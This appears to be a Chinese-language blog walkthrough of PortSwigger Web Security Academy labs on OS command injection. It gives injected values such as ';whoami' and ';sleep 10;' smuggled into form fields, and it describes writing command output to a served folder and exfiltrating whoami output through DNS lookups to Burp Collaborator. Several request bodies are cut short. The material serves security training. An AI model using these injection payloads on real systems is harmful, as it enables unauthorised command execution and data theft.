Burp Web Academy 命令注入
0x01. PortSwigger Web Security Academy
PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。
本篇文章讲解 Web Security Academy 之中的系统命令注入(OS Command Injection)章节。
0x02. 命令注入
2.1 Lab: OS command injection, simple case
This lab contains an OS command injection vulnerability in the product stock checker.
The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response.
To solve the lab, execute the
whoami
command to determine the name of the current user.
访问 URL https://0a46004a04ca1df9817fdf8200f300f2.web-security-academy.net/product?productId=14
,最下面有一个 Check stock
按钮,点击后在 Burp Suite 中可以看到 POST 请求:
1 | POST /product/stock |
尝试通过反引号注入,发现不行;再尝试分号 productId=1&storeId=2;whoami
,成功执行注入的命令。
1 | 200 OK |
2.2 Lab: Blind OS command injection with time delays
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response.
To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.
问问 Copilot 什么是盲注(中文回答还差点意思):
Question: What’s the meaning of
blind injection
in Web Security?Answer: In Web Security, “blind injection,” or more specifically, “blind SQL injection,” is a type of SQL injection attack where an attacker sends queries to the database and infers the results based on the behavior of the web application, rather than seeing the data directly.
For example, an attacker might send a query designed to return a true or false result and then observe how the web page responds. If the page’s response changes, the attacker knows that the query affected the database, even though they can’t see the data directly.
This method can be more time-consuming than other types of SQL injection because it requires careful observation and crafting of queries, but it’s still a powerful technique for extracting sensitive information from databases.
If you’re interested in learning more about how to defend against such attacks, I can provide some tips or resources. Just let me know!
根据题目的提示,发现右上角有一个 Submit feedback
,尝试进行注入测试:
- 注入点在
email
字段 - 通过
sleep 10
来实现延时- 注入命令前后都需要有注入字符,比如
;sleep%2010;
或者||sleep%2010||
- 官方答案使用
ping
来延时(;ping+-c+10+127.0.0.1;
)- 注意,在 URL 编码中,空格
%20
编码,还可以使用+
编码
- 注意,在 URL 编码中,空格
- 注入命令前后都需要有注入字符,比如
1 | POST /feedback/submit |
2.3 Lab: Blind OS command injection with output redirection
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at:
1 /var/www/images/The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file.
To solve the lab, execute the
whoami
command and retrieve the output.
在前一题的基础上,这个题就很简单了:将命令执行的结果写入 /var/www/images/
,然后通过 URL 来查看文件内容。
1 | POST /feedback/submit |
然后通过图片 URL 访问即可:
1 | https://0a4400c9044f1daf8136fddf00da0017.web-security-academy.net/image?filename=flag.txt |
2.4 Lab: Blind OS command injection with out-of-band interaction
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.
仍然是盲注,但是这次是异步执行命令,所以通过延时就无法感知命令注入是否成功了,这里通过发起 DNS 查询来感知命令注入的结果。
看 Burp Collaborator 的介绍,似乎 Burp Suite Community 没有这个功能,有点遗憾,那么就临时用一下 Burp Suite Pro 吧 :-D
1 | POST /feedback/submit |
操作步骤:
- 进入 Burp Suite Pro,点击 Collaborator,生成一个域名
- 在 HTTP POST 请求中,通过注入
ping
域名 - 回到 Burp 中的 Collaborator,可以看到已经触发了 DNS 解析,如果暂时没看到,可以点击
Poll now
按钮刷新
2.5 Blind OS command injection with out-of-band data exfiltration
This lab contains a blind OS command injection vulnerability in the feedback function.
The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
To solve the lab, execute the
whoami
command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.
在上一题的基础上增加了一点难度,不仅仅要触发 DNS 查询,还要携带 whoami
的输出。网上找了下,可以通过子域名的形式携带数据。
1 | POST /feedback/submit |
0x03. 小结
- 注入可以使用反引号、分号、管道、
&&
、||
等,注入时有可能命令末尾还需要加上注入字符,比如;payload;
- 盲注可以使用
sleep
、ping
等延时 - 在 URL 编码中,空格
%20
编码,还可以使用+
编码 - Burp Collaborator 在盲注中的使用
- DNS 解析,判断盲注状态
- DNS 解析,通过子域名携带数据
- DNS 解析可以使用
ping
、nslookup
等命令